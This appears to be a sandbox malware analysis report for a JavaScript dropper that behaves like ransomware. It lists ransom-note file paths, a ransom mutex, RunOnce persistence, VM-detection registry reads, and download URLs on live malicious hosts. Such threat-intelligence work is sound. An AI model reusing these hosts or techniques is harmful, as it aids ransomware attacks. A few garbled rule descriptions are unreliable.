c:\documents and settings\default user\appdata\local\application data\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\history\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\temp\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\history\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\history\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\microsoft\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\temp\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\application data\temporary internet files\crab-decrypt.txt
documents and settings\default user\appdata\local\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\history\crab-decrypt.txt
documents and settings\default user\appdata\local\history\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\history\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\microsoft\crab-decrypt.txt
documents and settings\default user\appdata\local\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\microsoft\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default user\appdata\local\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default user\appdata\local\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default user\appdata\local\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default user\appdata\local\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\temp\crab-decrypt.txt
documents and settings\default user\appdata\local\temp\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\temp\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\local\temporary internet files\crab-decrypt.txt
documents and settings\default user\appdata\local\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\local\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\roaming\crab-decrypt.txt
documents and settings\default user\appdata\roaming\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\roaming\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\roaming\microsoft\crab-decrypt.txt
documents and settings\default user\appdata\roaming\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\roaming\microsoft\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\roaming\microsoft\internet explorer\crab-decrypt.txt
documents and settings\default user\appdata\roaming\microsoft\internet explorer\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\roaming\microsoft\internet explorer\crab-decrypt.txt
txt
File
documents and settings\default user\appdata\roaming\microsoft\internet explorer\quick launch\crab-decrypt.txt
documents and settings\default user\appdata\roaming\microsoft\internet explorer\quick launch\crab-decrypt.txt
c:\
c:\documents and settings\default user\appdata\roaming\microsoft\internet explorer\quick launch\crab-decrypt.txt
txt
File
documents and settings\default user\application data\crab-decrypt.txt
documents and settings\default user\application data\crab-decrypt.txt
c:\
c:\documents and settings\default user\application data\crab-decrypt.txt
txt
File
documents and settings\default user\application data\microsoft\crab-decrypt.txt
documents and settings\default user\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default user\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default user\application data\microsoft\internet explorer\crab-decrypt.txt
documents and settings\default user\application data\microsoft\internet explorer\crab-decrypt.txt
c:\
c:\documents and settings\default user\application data\microsoft\internet explorer\crab-decrypt.txt
txt
File
documents and settings\default user\application data\microsoft\internet explorer\quick launch\crab-decrypt.txt
documents and settings\default user\application data\microsoft\internet explorer\quick launch\crab-decrypt.txt
c:\
c:\documents and settings\default user\application data\microsoft\internet explorer\quick launch\crab-decrypt.txt
txt
File
documents and settings\default user\cookies\crab-decrypt.txt
documents and settings\default user\cookies\crab-decrypt.txt
c:\
c:\documents and settings\default user\cookies\crab-decrypt.txt
txt
File
documents and settings\default user\desktop\crab-decrypt.txt
documents and settings\default user\desktop\crab-decrypt.txt
c:\
c:\documents and settings\default user\desktop\crab-decrypt.txt
txt
File
documents and settings\default user\documents\crab-decrypt.txt
documents and settings\default user\documents\crab-decrypt.txt
c:\
c:\documents and settings\default user\documents\crab-decrypt.txt
txt
File
documents and settings\default user\documents\my music\crab-decrypt.txt
documents and settings\default user\documents\my music\crab-decrypt.txt
c:\
c:\documents and settings\default user\documents\my music\crab-decrypt.txt
txt
File
documents and settings\default user\documents\my pictures\crab-decrypt.txt
documents and settings\default user\documents\my pictures\crab-decrypt.txt
c:\
c:\documents and settings\default user\documents\my pictures\crab-decrypt.txt
txt
File
documents and settings\default user\documents\my videos\crab-decrypt.txt
documents and settings\default user\documents\my videos\crab-decrypt.txt
c:\
c:\documents and settings\default user\documents\my videos\crab-decrypt.txt
txt
File
documents and settings\default user\downloads\crab-decrypt.txt
documents and settings\default user\downloads\crab-decrypt.txt
c:\
c:\documents and settings\default user\downloads\crab-decrypt.txt
txt
File
documents and settings\default user\favorites\crab-decrypt.txt
documents and settings\default user\favorites\crab-decrypt.txt
c:\
c:\documents and settings\default user\favorites\crab-decrypt.txt
txt
File
documents and settings\default user\links\crab-decrypt.txt
documents and settings\default user\links\crab-decrypt.txt
c:\
c:\documents and settings\default user\links\crab-decrypt.txt
txt
File
documents and settings\default user\music\crab-decrypt.txt
documents and settings\default user\music\crab-decrypt.txt
c:\
c:\documents and settings\default user\music\crab-decrypt.txt
txt
File
documents and settings\default user\my documents\crab-decrypt.txt
documents and settings\default user\my documents\crab-decrypt.txt
c:\
c:\documents and settings\default user\my documents\crab-decrypt.txt
txt
File
documents and settings\default user\my documents\my music\crab-decrypt.txt
documents and settings\default user\my documents\my music\crab-decrypt.txt
c:\
c:\documents and settings\default user\my documents\my music\crab-decrypt.txt
txt
File
documents and settings\default user\my documents\my pictures\crab-decrypt.txt
documents and settings\default user\my documents\my pictures\crab-decrypt.txt
c:\
c:\documents and settings\default user\my documents\my pictures\crab-decrypt.txt
txt
File
documents and settings\default user\my documents\my videos\crab-decrypt.txt
documents and settings\default user\my documents\my videos\crab-decrypt.txt
c:\
c:\documents and settings\default user\my documents\my videos\crab-decrypt.txt
txt
File
documents and settings\default user\nethood\crab-decrypt.txt
documents and settings\default user\nethood\crab-decrypt.txt
c:\
c:\documents and settings\default user\nethood\crab-decrypt.txt
txt
File
documents and settings\default user\pictures\crab-decrypt.txt
documents and settings\default user\pictures\crab-decrypt.txt
c:\
c:\documents and settings\default user\pictures\crab-decrypt.txt
txt
File
documents and settings\default user\printhood\crab-decrypt.txt
documents and settings\default user\printhood\crab-decrypt.txt
c:\
c:\documents and settings\default user\printhood\crab-decrypt.txt
txt
File
documents and settings\default user\recent\crab-decrypt.txt
documents and settings\default user\recent\crab-decrypt.txt
c:\
c:\documents and settings\default user\recent\crab-decrypt.txt
txt
File
documents and settings\default user\saved games\crab-decrypt.txt
documents and settings\default user\saved games\crab-decrypt.txt
c:\
c:\documents and settings\default user\saved games\crab-decrypt.txt
txt
File
documents and settings\default user\sendto\crab-decrypt.txt
documents and settings\default user\sendto\crab-decrypt.txt
c:\
c:\documents and settings\default user\sendto\crab-decrypt.txt
txt
File
documents and settings\default user\start menu\crab-decrypt.txt
documents and settings\default user\start menu\crab-decrypt.txt
c:\
c:\documents and settings\default user\start menu\crab-decrypt.txt
txt
File
documents and settings\default user\start menu\programs\crab-decrypt.txt
documents and settings\default user\start menu\programs\crab-decrypt.txt
c:\
c:\documents and settings\default user\start menu\programs\crab-decrypt.txt
txt
File
documents and settings\default user\start menu\programs\accessibility\crab-decrypt.txt
documents and settings\default user\start menu\programs\accessibility\crab-decrypt.txt
c:\
c:\documents and settings\default user\start menu\programs\accessibility\crab-decrypt.txt
txt
File
documents and settings\default user\start menu\programs\accessories\crab-decrypt.txt
documents and settings\default user\start menu\programs\accessories\crab-decrypt.txt
c:\
c:\documents and settings\default user\start menu\programs\accessories\crab-decrypt.txt
txt
File
documents and settings\default user\start menu\programs\maintenance\crab-decrypt.txt
documents and settings\default user\start menu\programs\maintenance\crab-decrypt.txt
c:\
c:\documents and settings\default user\start menu\programs\maintenance\crab-decrypt.txt
txt
File
documents and settings\default user\start menu\programs\system tools\crab-decrypt.txt
documents and settings\default user\start menu\programs\system tools\crab-decrypt.txt
c:\
c:\documents and settings\default user\start menu\programs\system tools\crab-decrypt.txt
txt
File
documents and settings\default user\start menu\programs\windows powershell\crab-decrypt.txt
documents and settings\default user\start menu\programs\windows powershell\crab-decrypt.txt
c:\
c:\documents and settings\default user\start menu\programs\windows powershell\crab-decrypt.txt
txt
File
documents and settings\default user\templates\crab-decrypt.txt
documents and settings\default user\templates\crab-decrypt.txt
c:\
c:\documents and settings\default user\templates\crab-decrypt.txt
txt
File
documents and settings\default user\videos\crab-decrypt.txt
documents and settings\default user\videos\crab-decrypt.txt
c:\
c:\documents and settings\default user\videos\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\crab-decrypt.txt
documents and settings\nd9e1fyi\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\activesync\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\activesync\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\activesync\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\adobe\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\adobe\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\adobe\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\adobe\acrobat\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\adobe\acrobat\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\adobe\acrobat\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\adobe\acrobat\dc\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\adobe\acrobat\dc\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\adobe\acrobat\dc\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\adobe\acrobat\dc\cache\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\adobe\acrobat\dc\cache\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\adobe\acrobat\dc\cache\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\adobe\acrocef\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\adobe\acrocef\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\adobe\acrocef\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\adobe\acrocef\dc\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\adobe\acrocef\dc\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\adobe\acrocef\dc\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\adobe\acrocef\dc\acrobat\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\adobe\acrocef\dc\acrobat\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\adobe\acrocef\dc\acrobat\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\adobe\acrocef\dc\acrobat\cookie\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\adobe\acrocef\dc\acrobat\cookie\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\adobe\acrocef\dc\acrobat\cookie\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\adobe\color\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\adobe\color\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\adobe\color\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\adobe\color\profiles\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\adobe\color\profiles\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\adobe\color\profiles\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\activesync\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\activesync\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\activesync\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\acrobat\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\acrobat\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\acrobat\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\acrobat\dc\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\acrobat\dc\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\acrobat\dc\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\acrobat\dc\cache\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\acrobat\dc\cache\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\acrobat\dc\cache\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\acrocef\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\acrocef\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\acrocef\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\acrocef\dc\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\acrocef\dc\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\acrocef\dc\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\acrocef\dc\acrobat\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\acrocef\dc\acrobat\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\acrocef\dc\acrobat\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\acrocef\dc\acrobat\cookie\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\acrocef\dc\acrobat\cookie\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\acrocef\dc\acrobat\cookie\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\color\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\color\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\color\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\color\profiles\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\color\profiles\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\adobe\color\profiles\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\activesync\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\activesync\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\activesync\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\adobe\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\adobe\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\adobe\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\adobe\acrobat\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\adobe\acrobat\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\adobe\acrobat\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\adobe\acrobat\dc\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\adobe\acrobat\dc\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\adobe\acrobat\dc\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\adobe\acrobat\dc\cache\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\adobe\acrobat\dc\cache\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\adobe\acrobat\dc\cache\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\adobe\acrocef\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\adobe\acrocef\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\adobe\acrocef\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\adobe\acrocef\dc\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\adobe\acrocef\dc\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\adobe\acrocef\dc\crab-decrypt.txt
txt
Mutex
Global\pc_group=WORKGROUP&ransom_id=58de2295a283c81
WinRegistryKey
SYSTEM\CurrentControlSet\services\Tcpip\Parameters
HKEY_LOCAL_MACHINE
Domain
WinRegistryKey
HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE
ProcessorNameString
WinRegistryKey
SYSTEM\CurrentControlSet\services\Tcpip\Parameters
HKEY_LOCAL_MACHINE
Domain
WinRegistryKey
HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE
ProcessorNameString
WinRegistryKey
SYSTEM\CurrentControlSet\services\Tcpip\Parameters
HKEY_LOCAL_MACHINE
Domain
WinRegistryKey
Control Panel\International
HKEY_CURRENT_USER
LocaleName
WinRegistryKey
Keyboard Layout\Preload
HKEY_CURRENT_USER
1
WinRegistryKey
SOFTWARE\Microsoft\Windows NT\CurrentVersion
HKEY_LOCAL_MACHINE
productName
WinRegistryKey
HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE
ProcessorNameString
WinRegistryKey
HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE
Identifier
WinRegistryKey
HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE
Identifier
WinRegistryKey
Keyboard Layout\Preload
HKEY_CURRENT_USER
2
WinRegistryKey
HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE
Identifier
WinRegistryKey
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER
wyzftwkvewc
"C:\Users\Nd9E1FYi\AppData\RoamingqTP35.exe"
REG_SZ
URI
77.244.219.151/eighph?soref=eezaui
Contains
WinRegistryKey
System\CurrentControlSet\Services\Tcpip\Parameters
HKEY_LOCAL_MACHINE
DNSLookupOrder
Domain
DhcpDomain
SearchList
DhcpSearchList
DNSRecord
ns1.virmach.ru
Analyzed Sample #1450489
Malware Artifacts
1450489
Sample-ID: #1450489
Job-ID: #1308947
This sample was analyzed by VMRay Analyzer 2.2.0 on a Windows 10 Threshold 2 system
100
VTI Score based on VTI Database Version 2.7
Metadata of Sample File #1450489
Submission-ID: #1661866
C:\Users\Nd9E1FYi\Desktop\DOC6131166051-PDF.js
js
MD5
2936a857cf89d1e57f12a51a1fdceadf
SHA1
a3d2e35179f8e514e542735e9f964bc1d471e4e4
SHA256
b4b6f6c2588001e5b95eed79faf99a92b9d9224f65af6a92e055ddfb145a1ecc
Opened_By
Metadata of Analysis for Job-ID #1308947
Maximum binlog size reached
True
x86 64-bit
10.0.10586.0 (0de6dc23-8e19-4bb7-8608-d54b1e6fa379)
win10_64
True
205.236
Windows 10 Threshold 2
This is a property collection for additional information of VMRay analysis
VMRay Analyzer
Process
VTI rule match with VTI rule score 1/5
vmray_install_ipc_endpoint
Creates mutex with name "Global\PowerShell_CommandAnalysis_Lock_S-1-5-21-2172869166-1497266965-2109836178-1000".
Creates system object
Anti Analysis
VTI rule match with VTI rule score 5/5
vmray_detect_generic_vm_by_registry
Reads out system information, commonly used to detect VMs via registry. (Value "Identifier" in key "HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0").
Tries to detect virtual machine
Process
VTI rule match with VTI rule score 1/5
vmray_install_ipc_endpoint
Creates mutex with name "Global\pc_group=WORKGROUP&ransom_id=58de2295a283c81".
Creates system object
Persistence
VTI rule match with VTI rule score 4/5
vmray_install_startup_script_by_registry
Adds ""C:\Users\Nd9E1FYi\AppData\RoamingqTP35.exe"" to Windows startup via registry.
Installs system startup script or application
Network
VTI rule match with VTI rule score 2/5
vmray_request_dns_by_name
Resolves host name "ns1.virmach.ru".
Performs DNS request
OS
VTI rule match with VTI rule score 5/5
vmray_add_certificate_by_file
Adds a certificate to the local "crab-decrypt.txt" by file.
Modifies certificate store
OS
VTI rule match with VTI rule score 5/5
vmray_add_certificate_by_file
Adds a certificate to the local "my" crab-decrypt.txt list by file.
Modifies certificate store
OS
VTI rule match with VTI rule score 5/5
vmray_add_certificate_by_file
Adds a certificate to the local "my" certificate list by file.
Modifies certificate store
OS
VTI rule match with VTI rule score 5/5
vmray_add_certificate_by_file
Adds a certificate to the local "my" revocation list by file.
Modifies certificate store
OS
VTI rule match with VTI rule score 5/5
vmray_add_certificate_by_file
Adds a certificate to the local "my" certificate trust list by file.
Modifies certificate store
File System
VTI rule match with VTI rule score 5/5
vmray_encrypt_user_files
Encrypts the content of multiple user files. This is an indicator for ransomware.
Encrypts content of user files
Process
VTI rule match with VTI rule score 1/5
vmray_overwrite_code
Overwrites code to possibly hide behavior.
Overwrites code
Network
VTI rule match with VTI rule score 2/5
vmray_check_external_ip
Checks external IP by asking IP info service at "ipv4bot.whatismyipaddress.com/".
Checks external IP address
Network
VTI rule match with VTI rule score 4/5
vmray_reputation_url_malicious
URL "92.63.197.38/letsgo.exe?LbPUer" is known as malicious URL.
Associated with known malicious/suspicious URLs
Network
VTI rule match with VTI rule score 4/5
vmray_reputation_url_malicious
URL "77.244.219.151/seyst" is known as malicious URL.
Associated with known malicious/suspicious URLs
Network
VTI rule match with VTI rule score 4/5
vmray_reputation_url_malicious
URL "77.244.219.151/eighge" is known as malicious URL.
Associated with known malicious/suspicious URLs
Network
VTI rule match with VTI rule score 4/5
vmray_reputation_url_malicious
URL "77.244.219.151/store?steepl=aiplau&sauf=iesay" is known as malicious URL.
Associated with known malicious/suspicious URLs
Network
VTI rule match with VTI rule score 4/5
vmray_reputation_url_malicious
URL "77.244.219.151/eighph?soref=eezaui" is known as malicious URL.
Associated with known malicious/suspicious URLs
Network
VTI rule match with VTI rule score 2/5
vmray_download_data_http_request
URL "92.63.197.38/letsgo.exe?LbPUer".
Downloads data
Network
VTI rule match with VTI rule score 2/5
vmray_download_data_http_request
URL "ipv4bot.whatismyipaddress.com/".
Downloads data
Network
VTI rule match with VTI rule score 2/5
vmray_download_data_http_request
URL "77.244.219.151/seyst".
Downloads data
Network
VTI rule match with VTI rule score 2/5
vmray_download_data_http_request
URL "77.244.219.151/eighge".
Downloads data
Network
VTI rule match with VTI rule score 2/5
vmray_download_data_http_request
